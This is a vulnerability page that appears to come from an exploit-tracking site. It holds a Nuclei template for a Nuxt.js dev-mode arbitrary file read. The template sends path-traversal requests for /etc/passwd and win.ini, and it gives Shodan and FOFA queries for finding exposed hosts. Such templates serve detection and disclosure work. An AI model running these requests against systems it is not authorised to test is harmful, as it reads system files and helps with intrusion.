nuxt-js-lfi: Arbitrary File Read in Dev Mode - Nuxt.js

2025-08-01 nuxt js PoC Public

Description

Vite is misconfigured within nuxt to permit any file to be retrieved from the file system.

PoC

id: nuxt-js-lfi

info:
  name: Arbitrary File Read in Dev Mode - Nuxt.js
  author: DhiyaneshDK
  severity: high
  description: |
    Vite is misconfigured within nuxt to permit any file to be retrieved from the file system.
  reference:
    - https://huntr.dev/bounties/4849af83-450c-435e-bc0b-71705f5be440/
    - https://bryces.io/blog/nuxt3
    - https://twitter.com/fofabot/status/1669339995780558849
  classification:
    cwe-id: CWE-22,CWE-73
  metadata:
    verified: "true"
    max-request: 2
    shodan-query: html:"buildAssetsDir" "nuxt"
    fofa-query: body="buildAssetsDir" && body="__nuxt"
  tags: huntr,lfi,nuxtjs,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/_nuxt/@fs/etc/passwd"
      - "{{BaseURL}}/_nuxt/@fs/windows/win.ini"

    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or
# digest: 4a0a0047304502203ef6613fc582368e47cb7e0d60fcd0ff945da9a2fa1f7d52312f8d7300658e1d0221008922e3bf330568b65e2d73fc977ccee1847c214ca8e17e0f0375029ad4bc596b:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities